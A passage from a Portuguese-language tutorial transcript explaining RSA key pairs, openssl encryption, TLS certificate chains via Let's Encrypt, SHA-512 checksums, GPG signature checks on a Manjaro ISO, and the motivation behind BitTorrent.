WFs7Go9yyPYVmdpklLlczUWuy/b6pYol9iCtExbJAoGAWgDbmrwo6Pg2ro+f98i6 K761tCW43rB2Trfl0XyB38OT/8geW14/BLBJdRp3XChg60b2UaVVwLhp3WvfKs9u FDFmsSSdnSs+X+JNtfnixbwXJl5I3z+s3Uz9wxRY/82RHM2f1FgQ22JFV7Es2H1U XENsUtHZ/bgOggoZTP3uEl0= —–END PRIVATE KEY—–

/tmp ❯ cat public.pem —–BEGIN PUBLIC KEY—– MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuXDEGWXfOXpsq6C/XL60 edtrZgQZXMKRe0MqGxsAJpPLJi9h6DH9tOyyZd8IuyRO9+qqlnZnv0cK/GbM/GTg HorneEiJPzW33szKC1ZFMUBjoNBqa6WHIlFVKfXv9xypeT0vWK/ZVOkDfAbO4GPe g6IVKxs/4UEexuedDvvyE1fqpt1WcrT4h/LUAF67nqgvJX/y8ve1J5Xy622rn7cO kCMNZXSPDY8TyHMGzaLfgX13DepIiYn7bXS4u/5BGgG6HnI2MXKIqZ7Y20XQJ7V/ 2OsZbsCrSkaq07NV8RwD7RBEK1b33OgozNpC4hXv/696GQi4RwAMmYSel/id87dI FwIDAQAB —–END PUBLIC KEY—–

Arquivos ponto “pem” significa Privacy Enhanced Mail que é um formato de arquivo texto exatamente como dessas chaves que acabei de mostrar. É isso, um arquivo que começa com esses hifens, BEGIN, lá embaixo termina com END, e no meio é algum binário formatado com Base64. Se usa SSH, você já gerou chaves nesse formato.

As chaves pública e privada geradas com os comandos openssl genpkey e openssl rsa estão relacionadas por meio do algoritmo de criptografia RSA. O processo começa gerando dois números primos enormes e aleatórios. Esses números primos são mantidos em segredo e são a base da segurança do sistema. Em seguida, esses números primos são multiplicados entre si, resultando em um número chamado ‘módulo’. Este módulo é usado na criação de ambas as chaves.

A chave pública é derivada do módulo e de um expoente público, que é um número pré-definido e geralmente pequeno. A chave pública pode ser compartilhada com qualquer pessoa e é usada para criptografar mensagens que só podem ser descriptografadas pela chave privada correspondente.

Por outro lado, a chave privada é gerada usando os números primos originais e um expoente privado calculado a partir deles. A chave privada é mantida em segredo e é usada para descriptografar as mensagens criptografadas pela chave pública.

Embora as chaves pública e privada não sejam os números primos em si, elas são matematicamente relacionadas aos números primos utilizados durante a geração. Esse relacionamento matemático é fundamental para o funcionamento da criptografia RSA e é o que permite a comunicação segura, onde informações criptografadas com a chave pública só podem ser lidas pela chave privada correspondente, e vice-versa. Fodeu, não entendeu nada né. Vamos simplificar com um exemplo.

openssl pkeyutl -encrypt -pubin -inkey public.pem -in key.bin -out key.bin.enc

Digito o comando openssl pedindo pra encriptar minha chave key.bin usando a chave pública e resultando num novo arquivo key.bin.enc. Pronto, agora temos a chave simétrica original, encriptada usando a nova chave pública. Se listarmos o conteúdo com hexdump, veja como os binários são diferentes.

❯ hexdump key.bin.enc
0000000 84b4 f414 6144 087d 079a 3036 4eb7 5798
0000010 28de 7505 e9fe fc0e 851c 877e be59 4b97
0000020 a5b6 05de e379 c30f 974b 9f31 a24a f567
0000030 68ad 0af9 d39b f770 3e20 0be8 3116 c52f
0000040 7437 4224 54f4 d071 b28e a5ff d29e 7a85
0000050 e78a 8ec2 b125 38ea 204a c071 82d0 5526
0000060 8923 4a84 23d6 72ea da81 434a 5f05 9e87
0000070 3b8d f2c1 5331 fc16 e92a 4e3b d695 4759
0000080 2472 0453 34cc db67 6dbf 8fbb 92ec e52f
0000090 be0c f295 3b5e 2aac 7fdb 0e82 bf0a 0cf8
00000a0 f158 0014 f93e 33f0 fe77 ca3a 3144 25f8
00000b0 877c a25f 4012 4953 be15 e06e 9894 a4ef
00000c0 a399 3b4a 1efe dc57 1e85 5410 5df3 7f95
00000d0 c957 9182 c426 55a6 ea7e 5e0d 1270 9ab2
00000e0 4781 44ae 3437 886b ef0c 82d6 5d66 5c5b
00000f0 e072 0888 bccd 55ba f217 100c 4906 f45e
0000100

/tmp 
❯ hexdump key.bin
0000000 ccab 139c 27f3 c206 76af 952d 0fb1 2c17
0000010 51a5 0a43 731b 5bf4 9f3c 72b5 1e57 2503
0000020

Pra não ficar confuso vamos recapitular. Eu gerei uma chave simétrica AES chamada “key.bin”. Quero usar essa chave pra criptografar arquivos ou mensagens pra mandar pra uma segunda pessoa em algum lugar na internet, vamos chamar de John. Porém, não adianta criptografar a mensagem e mandar pro John porque ele precisa ter a chave. Mas não posso mandar a chave via email ou whatsapp porque aí não tem segurança nenhuma. Precisamos garantir que nada no meio do caminho possa interceptar ou adulterar minhas mensagens pro John.

O problema de mandar a chave direto por email é se alguém na internet, vamos chamar de Skynet, intercepte essa comunicação e fique com minha chave, sem passar pra frente. Daí ela manda uma outra chave falsificada pro John. O John não sabe que recebeu uma chave falsa. Agora eu, Fabio, vou mandar uma mensagem criptografada com minha chave que diz “John, descobri a localização da Skynet, ele tá nas coordenadas X Y”.

Skynet intercepta essa comunicação, e como já tinha interceptado minha chave, consegue facilmente abrir a mensagem. Agora ela forja uma segunda mensagem dizendo “John, achei a Skynet, clique neste link pra ver a localização!”, criptografa com a chave falsa e manda pro John. O John abre achando que veio de mim. Daí, na confiança, clica no link e é isso, acabou a raça humana. Game over. Eu sempre digo: nunca saia clicando em links que recebe por email ou whatsapp.

Mas eu sei que isso poderia acontecer. Em vez disso já tinha ensinado: “John, cria um par de chaves RSA, e manda a chave pública pra mim, mas nunca, jamais, transmita a chave privada pra fora da sua máquina”. Ele me manda a chave pública, por email aberto mesmo, e com essa chave eu encripto aquele arquivo “key.bin”. Quando o John receber a mensagem criptografada, pode rodar o seguinte comando. Openssl decriptar o arquivo key.bin.enc com a chave privada.

openssl pkeyutl -decrypt -inkey private.pem -in key.bin.enc -out key.bin.dec

Entenda, quando encripto alguma coisa com a chave pública do John, o único que vai conseguir abrir é o John com sua chave privada. Se eu conseguir passar minha chave simétrica key.bin pra ele, de forma segura, garantidamente só nós dois temos o segredo e podemos começar a trocar comunicação encriptada com AES e a Skynet não vai ter como interceptar nem ficar no meio do caminho tentando forjar mensagens.

Mas tem um pequeno defeito nesse processo. Como eu sei que a chave pública que o John me mandou veio realmente do John e não é de novo a porra da Skynet tentando me enganar? Esse é o mesmo problema que temos hoje em websites e ecommerces da vida. Como eu sei que a chave pública que recebi da Amazon é realmente da Amazon? Como eu sei que não é um site de um hacker, uma Skynet, tentando se passar pela Amazon? Vamos entender a última peça que falta: a autoridade certificadora.

Esse é o princípio por trás de SSL ou, mais corretamente, TLS, que todo navegador utiliza. O que acontece por trás dos panos sem você ver é o seguinte: primeiro, abrimos o navegador e digitamos “https://amazon.com” da vida. Importante que seja um site “https”. Então o navegador pede uma conexão segura pro servidor web da amazon que, por sua vez, devolve um certificado digital.

Um certificado digital é um pacote que contém a chave pública, a metade do par de chaves de uma Amazon. A chave privada nunca sai do servidor. Lembrem-se desse conceito: chaves privadas nunca podem tocar a internet, jamais. Mas, como eu posso garantir que não é a Skynet, minha conexão foi interceptada e recebi um certificado falso? Pra isso que existem CAs ou Certificate Authorities. Vamos ilustrar com um exemplo, porque é importante ter esse processo na cabeça.

De novo, o objetivo do video não é ser um tutorial. Mas se nunca viu, vou criar um novo certificado digital usando o serviço Letsencrypt associado ao meu domínio válido “akitando.me”. Pra criar um certificado precisa ter um domínio registrado válido. O jeito tradicional é um passo a passo super chato. É um processo já bem documentado, que tem em dezenas de lugares, só procurar no Google. Mas Letsencrypt é mais fácil porque simplifica vários passos. Pra começar precisa ter instalado o programa “certbot” na sua máquina.

Iniciamos o processo pedindo pra gerar um certificado pro meu domínio usando o método de checar um registro no DNS pra garantir que sou mesmo o dono desse domínio. Só quem é dono do domínio consegue configurar o nameserver. No caso ele gera o que chamamos de um challenge, um desafio, que é esse número aleatório aqui. Eu tenho que registrar um campo TXT no DNS do domínio com exatamente esse número. Isso não é uma senha, fica aberto mesmo. É só pra garantir que a pessoa pedindo pra gerar o certificado realmente é o dono do domínio.

No caso, meu DNS ou nameserver tá na AWS então abro o Route53 pra editar os registros do meu domínio “akitando.me”. Dependendo de onde tá seu domínio, vai ser um tela diferente, mas o princípio é o mesmo. Daí tem que esperar alguns minutos pra essa informação replicar pela internet. Se não sabe como isso de DNS funciona, não deixe de ver minha série sobre redes. Já expliquei isso lá.

sudo certbot certonly --manual --preferred-challenges dns -d akitando.me


Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for akitando.me

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name:

_acme-challenge.akitando.me.

with the following value:

m_6yRys7mMCh-jg_R8kpwCl3mx5EVK3tMp9jeIR9RFI

Before continuing, verify the TXT record has been deployed. Depending on the DNS
provider, this may take some time, from a few seconds to multiple minutes. You can
check if it has finished deploying with aid of online tools, such as the Google
Admin Toolbox: https://toolbox.googleapps.com/apps/dig/#TXT/_acme-challenge.akitando.me.
Look for one or more bolded line(s) below the line ';ANSWER'. It should show the
value(s) you've just added.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Press Enter to Continue


Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/akitando.me/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/akitando.me/privkey.pem
This certificate expires on 2023-11-22.
These files will be updated when the certificate renews.

NEXT STEPS:
- This certificate will not be renewed automatically. Autorenewal of --manual certificates requires the use of an authentication hook script (--manual-auth-hook) but one was not provided. To renew this certificate, repeat this same certbot command before the certificate's expiry date.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(screenshot route53)

Uma vez validado, vamos ganhar dois arquivos gravados em “/etc/letsencrypt/live/akitando.me”, um chamado “fullchain.pem”, o certificado digital propriamente dito, que vai ser servido pra todo navegador que conectar no meu servidor web, e o “privkey.pem”, que é a chave privada que jamais deve sair do meu servidor, nem ser transmitido pela internet de nenhuma forma.

Estou repetindo pra vocês nunca esquecerem: chave privada se chama “privada” por uma razão. Se perder essa chave privada, qualquer um pode se passar por você. E se alguém ficou pensando “porra, mas e se realmente eu perder essa chave?”. A solução é imediatamente gerar um novo certificado e substituir.

Eu não instalei de verdade essa chave porque não tenho site nesse domínio, mas se tivesse, no seu navegador iria aparecer o famoso cadeado. As informações que aparecem quando clica no cadeado é exatamente o conteúdo desse arquivo “fullchain.pem”. Ele contém a chave pública e está assinado por uma CA, a Central Authority, no caso, a LetsEncrypt.

Eis a resposta de como podemos garantir que o certificado que o site me deu é confiável. Todo navegador, Firefox, Safari, Edge, Chrome, Opera, já vem pré-instalados com vários certificados raíz, seja da Certsign, Digicert, GlobalSign. São arquivos que foram instalados juntos com seu navegador ou que seu navegador puxa do próprio sistema operacional. Um dos dois vai ter esses certificados raiz.

Se baixou seu navegador fora do site oficial, num site genérico de downloads, não existe garantia nenhuma. La garantia soy yo. Mas se estiver usando o Safari que já veio no seu Mac ou o Edge que já veio no seu Windows, a probabilidade é que sejam legítimos. De novo, se comprou sua máquina usada de um terceiro, e nunca formatou, não dá pra garantir nada. Nenhuma máquina que não foi você quem instalou, ou que não comprou numa loja de verdade, não tem nenhuma garantia, ponto final.

Podemos abrir diretamente o arquivo “fullchain.pem” e veja só, temos uma cadeia de certificados. Primeiro o do meu domínio. Em seguida, vemos que foi assinada pela Letsencrypt que é essa R3. E ela mesma, por sua vez, é assinada por outra autoridade, a Digital Signature Trust Co.

Certificados raíz podem ser instalados com o sistema operacional, ou podem vir com os navegadores. Google Chrome e outros navegadores baseados em Chromium costumam usar o que tem no sistema operacional. Firefox prefere usar certificados próprios. Num Arch Linux, como o Manjaro que eu uso, vem no pacote “ca-certificates” e costumam ficar no diretório “/etc/ssl/certs”. Olha só um trecho da listagem dos certificados. E se olharmos mais pra baixo, temos o certificado “ISRG Root X1” que é a raiz que vimos no certificado digital gerado pela Letsencrypt.

Meu navegador acha o ISRG Root X1 instalado na máquina. Ele parte do pressuposto que pode confiar em todo certificado que foi assinado por qualquer autorizada abaixo dela. É uma cadeia de assinaturas. O certificado do meu domínio akitando.me foi assinado pela chave privada da Letsencrypt que, por sua vez, tem um certificado assinado por essa ISRG que é verificado pela Digital Signature Trust que, em última instância, foi instalado no meu sistema operacional. Em última instância, confiamos que o sistema operacional não foi adulterado, porque instalamos com o ISO oficial ou já veio pré-instalado de fábrica e a máquina é nova.

Quando fizemos o processo do “Certbot”. Ele gerou aquele “fullchain.pem”. Começou gerando o par de chaves pública e privada. Daí empacotou no certificado, que é uma estrutura de dados com informações como o nome do domínio, email, a chave pública, etc. É só um arquivo, como se fosse um JSON da vida, por exemplo, mas num formato específico de certificado. No final, ele gera a impressão digital desse arquivo, que é um hash, usando um algoritmo como um SHA256 da vida.

Impressão digital é outro nome pra um hash. Quando passamos um arquivo ou algum conteúdo por um algoritmo de hashing, o resultado é uma impressão digital. Porque se alterarmos 1 bit que seja do arquivo original e refizermos o hashing, o resultado vai ser completamente diferente. Daqui a pouco vou voltar no tema de hashing. Por enquanto entenda que hashing serve pra identificar exatamente o conteúdo original de qualquer coisa. E o que chamamos de assinatura digital é o hash via chave privada de alguma autoridade.

Vamos em outro exemplo. YouTube.com. Olha o cadeado aqui no navegador. Se abrirmos vemos que a raíz é um tal de GTS Root R1. Voltando lá pro diretório “/etc/ssl/certs” achamos o arquivo do certificado e abrindo podemos ver que se trata do Google Trust Services LLC. Uma empresa do próprio Google dedicado só a gerenciar esse certificado raíz. O Google sendo gigante, é do interesse dela ter controle sobre uma autoridade certificadora também. Sim, seu computador automaticamente acredita em tudo do Google. Existem várias implicações éticas nesse tipo de coisa mas não é escopo desse video.

Com isso o navegador sabe que o certificado do site é “válido”. Daí ele pode pegar a chave pública de dentro do certificado, e usar pra encriptar uma chave simétrica. Isso estabelece o que se chama de “conexão segura”. Falando assim dá impressão que passamos a usar, sei lá, um cabo de rede especial que é mais seguro ou algo assim né? Mas não, nada mudou. Estamos na mesma rede física que antes. A diferença é que conseguimos comunicar de forma segura, encriptando todos os pacotes. E a partir daqui, tudo que o navegador mandar pro servidor e vice versa, vai ser encriptado com essa chave.

Tudo isso é feito pra garantir que ninguém no meio do caminho, nem a Skynet, nem o provedor, nem ninguém, consiga ver o que está sendo trafegado, porque vai tudo encriptado. Esse imbróglio todo de cadeias de certificados, assinaturas digitais, pares de chaves assimétricas, é a implementação de um “triângulo de confiança”. Segurança é quando eu e o John temos confiança num mesmo terceiro, que é uma autoridade reconhecida por ambos. Pra haver confiança, sempre precisa haver um terceiro elemento que ambos os lados confiam.

Voltando pra pergunta original, como eu posso confiar na chave pública do John? Como eu sei que não é a Skynet me mandando uma chave falsificada, se passando pelo John? E a resposta é porque tanto minha máquina, quanto a do John, foram configuradas pela primeira vez pela mãe dele. Mãezona Sara Connor se certificou de instalar um certificado raíz dela em ambas as máquinas. Quando o John me mandar o certificado dele, basta ver se tá assinado pelo certificado da Sara. E vou saber isso porque eu também tenho o certificado de CA dela na minha máquina, igual o exemplo do Google que mostrei. E com isso a humanidade ainda tem chances contra a Skynet.

Pra finalizar esta parte, já vimos como usar o certbot pra gerar um novo certificado digital, assinado pela Letsencrypt, pronto pra colocar no meu servidor web. Mas posso já usar aqui mesmo no terminal. Pra isso podemos usar openssl pra extrair só a chave pública que está dentro desse certificado, pelo terminal como estou mostrando. Openssl passando x509 que é o formato de um certificado, passando o arquivo do certificado e mandando extrair a chave pública pra esse arquivo pubkey.pem. Podemos dar cat nesse arquivo e voilá, eis o base64 da chave.

openssl x509 -pubkey -noout -in /etc/letsencrypt/live/akitando.me/fullchain.pem > pubkey.pem

cat pubkey.pem —–BEGIN PUBLIC KEY—– MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE+3a8eg0k/O7Sny46alWDx64kA8FK SvBs1GxEJA+1ay/6XLg2cF8xEjlDrLbkDrZlUPEr4KxVtFxKAS6uSaCtUA== —–END PUBLIC KEY—–

Tendo a chave pública, pra encriptar uma mensagem qualquer ou a chave simétrica, como meu arquivo “key.bin” do começo do video, é só usar openssl pra encriptar, como já mostrei antes. Mas tem um porém. Não vai dar pra mostrar isso porque essa chave pública que extraí do certificado gerado pelo certbot é uma curva elíptica ECC. Lembram porque eu usei RSA no exemplo lá atrás? Porque OpenSSL não consegue encriptar uma mensagem qualquer com ECC, lembra? Foi o motivo todo de porque eu fiz um exemplo com RSA.

Diferente do exemplo de encriptar uma chave simétrica diretamente usando a chave pública RSA; com curva elíptica, num navegador o que acontece é outro processo chamado de “key exchange” ou troca de chaves. Um método popular é usando o método de Diffie-Hellman que expliquei no meu video antigo de criptografia, ou ECDH que é a variante pra curva elíptica. Está fora do escopo deste vídeo explicar os detalhes, mas pesquise sobre ECDH.

Em resumo, o navegador já tem implementado um processo só pra trocar chaves simétricas usando essas chaves assimétricas, não precisa fazer na mão como estou mostrando no terminal. Curva elíptica é mais eficiente e mais sofisticado do que o RSA antigo. Mas RSA é suficiente e mais fácil pra demonstrar passo a passo no terminal. Objetivo do vídeo não é tornar ninguém aqui especialista em criptografia, só molhar os dedos pra vocês mesmos depois irem procurar as formas mais avançadas.

Também não é objetivo do video explicar arquitetura de segurança de aplicações web. Só usei o exemplo de TLS pra explicar a utilidade de chaves assimétricas. Muita gente ainda tem na cabeça a imagem de que criptografia é meramente uma única chave secreta super longa. Ou até como nos filmes mostra uma chave física mesmo. Quem assistiu o último Missão Impossível? Eles passam o filme todo literalmente atrás de uma chave dividida em duas … não é assim que funciona par de chaves. Mas enfim.

Agora precisamos estar na mesma página sobre outro conceito importantíssimo: impressões digitais ou fingerprints e assinatura digital. Novamente, não vou detalhar o que já expliquei no primeiro video de criptografia. Entenda assim: existem diversas funções de hashing como SHA512 que é um dos mais usados. Existem algumas que já são sabidamente defeituosas e fracas, como o antigo MD5. O MD5 não deve ser usado pra assinatura digital porque não é difícil criar colisões, mas não quer dizer que seja inútil. Dependendo do caso de uso, ela ainda é usada. SHA1 é a mesma coisa, deve ser evitado.

A função SHA 512 tem esse nome porque independente do que passarmos pra ele, o resultado sempre vai ser um número binário de 512 bits, representado como uma string de 128 caracteres, mostrando o binário em formato hexadecimal pra ficar mais fácil de conseguirmos copiar e colar o texto. Pra demonstração, precisamos do programa “sha512sum”. Acho que na maioria das distros Linux já vem pré-instalado. No caso de distros derivadas de Arch, costuma ficar no pacote “coreutils”.

Vamos pegar aquele arquivo “test.txt” que usamos lá atrás e que tinha o conteúdo “Hello World”. Se fizermos “sha512sum test.txt” vai devolver esta string:

sha512sum test.txt
e1c112ff908febc3b98b1693a6cd3564eaf8e5e6ca629d084d9f0eba99247cacdd72e369ff8941397c2807409ff66be64be908da17ad7b8a49a2a26c0e8086aa  test.txt

Olha só. “Hello World” é super curto, mas mesmo assim o resultado do hash é sempre fixo: um número de 512 bits. Vamos editar esse arquivo e fazer uma modificação de nada. Só adicionar um ponto no final do arquivo. Rodamos o mesmo comando “sha512sum” e olha o resultado, é um novo hash completamente diferente. É essa propriedade que tornam hashes importantes.

sha512sum test.txt
cf260f19ff6ac4d64990e2173a7d51252b3bd054cbd1ea5df0841035140592832a2ebc64f17c3dd48e3d8f1682143087217b979de7568c8e1836b008d1a5e463  test.txt

Comparem o hash de antes e o novo. Apesar de ter só adicionado um mísero ponto no final, os hashes são completamente diferentes. Não tem como dizer que vieram de arquivos tão parecidos. E este é o objetivo. Por isso eles servem de impressão digital. Um ser humano lendo um texto mais longo, poderia passar batido numa pontuação fora do lugar. Num documento importante, digamos um contrato, um zero fora do lugar pode significar a diferença entre se comprometer a pagar 100 mil ou 1 milhão de dólares.

Se o contrato tiver 50 páginas, a maioria de nós, seres humanos, íamos passar batido. Mas se o documento original tem uma impressão digital. Basta passarmos o novo documento pelo “sha512sum” e ver se o hash continua batendo. Se bater, temos certeza que o documento está intacto e não foi adulterado. Porém, se o número for diferente, sabemos com certeza que foi adulterado e não pode ser confiado. Não sabemos onde foi adulterado, mas sabemos que foi. Lembram do episódio anterior sobre recuperação de dados? É assim que um sistema de arquivos como ZFS ou BTRFS sabe que um arquivo pode estar corrompido.

Outro exemplo. Vou no site da minha distro favorita, Manjaro e vou baixar a ISO pra instalar. É um arquivão de 3.7 gigabytes. Digamos que eu fiz o download numa rede pública, tipo num aeroporto ou num Starbucks. Como posso garantir que ninguém interceptou minha requisição e me mandou um arquivão falso? Daí quando eu for instalar, na verdade vai instalar um malware?

Chegando numa rede confiável, como minha casa ou escritório, posso baixar esse arquivo de checksum, com extensão .iso.sha512. Agora posso rodar o seguinte comando. Sha512sum passando esse arquivo de SHA e o ISO baixado.

sha512sum -c manjaro-gnome-22.1.3-230529-linux61.iso.sha512
manjaro-gnome-22.1.3-230529-linux61.iso: OK

Se devolver “OK” é porque tá tudo bem, mas o que ele fez? Vamos abrir o arquivo .iso.sha512. É um numerozão no formado da saída do sha512sum. A empresa que faz o Manjaro, que criou o arquivo de instalação original, gerou o sha512 e gravou nesse arquivo pra gente.

cat manjaro-gnome-22.1.3-230529-linux61.iso.sha512
78b8fa6a5222bc10a2e767485e76f82f3c7b2b59f4a70501b4a9fb846c5ad94987cf8b8ed630a701a8a3386debc0a39fc7363a743df8f13f41d3d8324d74e227  manjaro-gnome-22.1.3-230529-linux61.iso

Podemos simplesmente calcular o sha512 em cima do ISO de 3.7 gigabytes com o comando “sha512sum”, igual fizemos com o arquivo do Hello World e olha só, gerou exatamente o mesmo hash. Com isso sabemos que nenhum bit dos 3.7 gigabytes veio adulterado. Se um único bit tivesse sido corrompido no download, o hash gerado seria completamente diferente. Com isso sabemos que o ISO é válido e podemos instalar.

sha512sum manjaro-gnome-22.1.3-230529-linux61.iso
78b8fa6a5222bc10a2e767485e76f82f3c7b2b59f4a70501b4a9fb846c5ad94987cf8b8ed630a701a8a3386debc0a39fc7363a743df8f13f41d3d8324d74e227  manjaro-gnome-22.1.3-230529-linux61.iso

Lembra dos meus videos sobre Git? Esse stringzão não parece com o identificador de um commit? Só que no caso de commit é mais curto. Isso porque Git usa SHA1 em vez de SHA256. SHA1, assim como MD5, também não é mais pra ser usado, mas é difícil migrar pra SHA256 sem quebrar compatibilidade e gerar confusão na cabeça de todo mundo, por isso não usamos SHA256 ainda, mas uma hora Git também deve mudar.

A razão de não usarmos mais MD5 é porque descobriram um bug no seu processo que torna razoavelmente fácil gerar colisões. Ou seja, se modificarmos um determinado documento, cuidadosamente, nos bits certos, temos como mudar o conteúdo e no final o MD5 vai gerar exatamente o mesmo hash. Aí perde o propósito. Descobriram que dá pra fazer isso com SHA1 também, mas não é tão trivial, mesmo assim não é impossível. Não é prático, mas é estatisticamente possível, e isso é suficiente pra considerarmos parar de usar.

Dois conteúdos diferentes que geram o mesmo hash, chamamos de “colisão” e mais cedo ou mais tarde, colisões acontecem. É estatisticamente inevitável, mas é muito difícil de controlar a colisão pra acontecer exatamente quando queremos num SHA256 ou outra função melhor. Mas MD5 e SHA1 já sabemos como controlar as colisões, adicionar bits extras que dá pra ignorar, só pro arquivo no final conseguir chegar no mesmo hash.

Eu explico no video de criptografia sobre hashes usados pra não guardar senhas abertas num banco de dados, assistam depois porque é importante saber disso. Mas caso não saiba, é considerado certificado de estupidez gravar senha dos usuários aberto numa tabela no seu banco de dados. Também é uma idiotice achar que é esperto e gerar o hash da senha e gravar numa tabela. Precisa de salt. E tem algoritmos melhores do que outros. Assista depois pra entender.

O principal é o seguinte: quando um determinado conteúdo, um arquivo ou documento, tem conteúdo secreto, o certo é encriptar o arquivo inteiro usando um algoritmo como AES com uma chave bem longa e forte. Mas pra diversos usos, só pra identificar se foi ou não adulterado, como um contrato, não precisa encriptar o arquivo todo, basta encriptar a impressão digital, que vai ser mais curta. Um exemplo disso é o download da ISO do site da Manjaro.

É um desperdício encriptar uma ISO inteira, não tem nada secreto dentro. É um arquivo público que qualquer um pode baixar e instalar de graça. O problema é saber se a ISO baixada não foi adulterada no meio do caminho. Pra isso tem coisas como o arquivo “.iso.sha512”. Mas tem um outro arquivo no site deles também, olha só, eles chamam de assinatura e é um arquivo “.iso.sig”. Não dá pra listar porque é um arquivo binário, mas é a assinatura do hash da ISO.

O problema de um arquivo .sha512 é que se baixamos os dois ao mesmo tempo, se o ISO foi adulterado no caminho, certamente o arquivo .sha512 também foi adulterado. Por isso, no exemplo, de propósito eu disse que o cenário é que baixei a ISO do aeroporto mas depois baixei o arquivo .sha512 quando cheguei em casa, numa rede confiável. Mas não precisamos confiar na rede pra checar essas coisas.

Antes de sair de casa, o certo é já ter instalado o pacote “GNUPG” o famoso GPG, que é implementação do padrão OpenPGP, de Pretty Good Privacy. É outro pacote que faz uso do conceito de chaves assimétricas, como no exemplo de TLS com RSA ou curva elíptica, lembra? Chaves pública e privada? Só que no exemplo anterior estávamos lidando com certificados .pem pra servidores web. GPG é similar, mas pra identificar pessoas, e não servidores.

Tendo o GPG instalado, no meu caso, que uso Manjaro, eu já teria que ter baixado as chaves GPG da equipe do Manjaro. Só fazer o download do arquivo com “wget” e instalar com “gpg” assim:

wget gitlab.manjaro.org/packages/core/manjaro-keyring/-/raw/master/manjaro.gpg

gpg --import manjaro.gpg

Lembra o conceito que o sistema operacional ou o navegador já trazem certificados raiz de autoridades certificadoras? Aqueles arquivos em “/etc/ssl/certs”? O conceito é parecido. Esse arquivo “manjaro.gpg” tem as chaves confiáveis da equipe do Manjaro. Tudo que a equipe de lá assinar, temos como checar agora.

Eu fiz isso em casa, agora estou no aeroporto e resolvi baixar a ISO do Manjaro. Uma rede pública é o oposto de confiável. Por isso recomendamos sempre usar VPN. Mas digamos que não estou numa VPN e ainda assim quero me arriscar a baixar a ISO. Como eu sei que não veio adulterado? Algum hacker esperto subiu um servidor do note dele, adulterou o DNS do roteador do aeroporto, e agora todo download que eu faço na verdade é um malware?

Baixamos também o arquivo “.iso.sig” e podemos checar com o seguinte comando. GPG verify o arquivo .sig e o arquivo ISO.

gpg --verify manjaro-gnome-22.1.3-230529-linux61.iso.sig manjaro-gnome-22.1.3-230529-linux61.iso
gpg: Signature made seg 29 mai 2023 06:38:26 -03
gpg:                using RSA key 3B794DE6D4320FCE594F4171279E7CF5D8D56EC8
gpg: Good signature from "Manjaro Build Server <build@manjaro.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 3B79 4DE6 D432 0FCE 594F  4171 279E 7CF5 D8D5 6EC8

Dentro desse arquivo de assinatura tem o hashing do ISO, assinado pelo Manjaro Build Server. Ele checa o hashing e diz “Good Signature”, então o binário do ISO pelo menos bate com o hashing dentro da assinatura. Mas aí tem um bugzinho que pelo jeito existe faz alguns anos no Manjaro: a chave desse servidor de build não pôde ser confirmado. Sei lá porque não vem já pré-instalado como deveria e quando vai checar dá esse aviso. O certo era ter o certificado raiz desse build@manjaro.org já no meu sistema, mas pelo visto não tem. Bug do Manjaro que até hoje não foi corrigido. Se isso mudou, mandem nos comentários abaixo.

O ponto todo desse exercício foi pra vocês terem na cabeça o que é um hash, uma impressão digital e uma assinatura digital. Deixa eu expandir o exemplo do download da ISO pra algo que muitos de vocês já devem ter usado pelo menos uma vez na vida: BitTorrent. De novo, objetivo do video não é ser uma explicação detalhada sobre BitTorrent, então procurem a documentação depois. Eu quero que vocês consigam entender os conceitos de criptografia que ele usa e como eles resolvem o problema de arquivos distribuídos.

Vamos lá, no próprio site do Manjaro, posso baixar um arquivo .torrent. Um download normal, que é o link do lado, vai puxar os 3.7 gigabytes direto do servidor da empresa do Manjaro. Mas com esse arquivo .torrent, a expectativa é conseguir baixar até mais rápido ou com mais estabilidade, porque vou baixar pedaços da ISO de diversos peers diferentes pela internet. Todo mundo que baixou a ISO e deixou o programa de BitTorrent ativo, está compartilhando o mesmo arquivo. Eu posso baixar pedaços em paralelo de várias pessoas diferentes. Essa é a idéia básica de BitTorrent.

Tangente de história. Nos anos 90 a internet era muito mais lenta que hoje, conexões de modem discado. No mundo dos servidores era tudo super imaturo. Ninguém sabia como manter servidores de download decentes, além de banda ser caro. Era terrível, e no meio disso surgiram os primeiros serviços de compartilhamento de arquivos, vulgo pirataria, como o lendário Napster, seguidos de copycats nos anos 2000 como Limewire, Kazaa, eDonkey e outros.

Mas o princípio na época era só um jeito de dizer pra outras pessoas quais arquivos tem na sua máquina pra compartilhar e deixar todo mundo baixar livremente. É o modelo mais simples de compartilhamento de arquivos. Foram anos de controvérsia, diversos processos da indústria de música, até culminar no surgimento dos primeiros serviços comerciais de venda de música e depois de assinatura como iTunes e hoje Spotify.

O grande defeito desse modelo simples de compartilhamento, é que era muito fácil identificar quem tinha os arquivos e ir processar direto essa pessoa, derrubando o compartilhamento. Uma vez que desliga a máquina do cara, somem os arquivos e ninguém baixa mais. Esse era o problema a ser resolvido. O problema ainda não foi totalmente resolvido, mas vamos ver como BitTorrent melhorou radicalmente nossa situação.

Primeiro de tudo, precisamos acabar com o conceito de um servidor único, centralizado de arquivos, de onde todo mundo puxa. É o mesmo problema do servidor de ISOs da Manjaro. Se todo mundo vai no mesmo lugar pra baixar, quanto mais gente descobrir o servidor, mais lento vai ficar pra todo mundo, e maiores os riscos desse servidor cair ou ser derrubado e todo mundo ficar sem nada.

Lembra da minha série sobre armazenamento, sistemas de arquivos e tudo mais? O que é um arquivo? É só um linguição de bits. Por baixo dos panos, eles são organizados como blocos de bits. Podemos picotar um arquivo como quiser e depois remontar. Inclusive é assim que eles são gravados em HDs e SSDs: fora de ordem. Vamos simular esse exercício num terminal de Linux só pra terem essa imagem na cabeça.

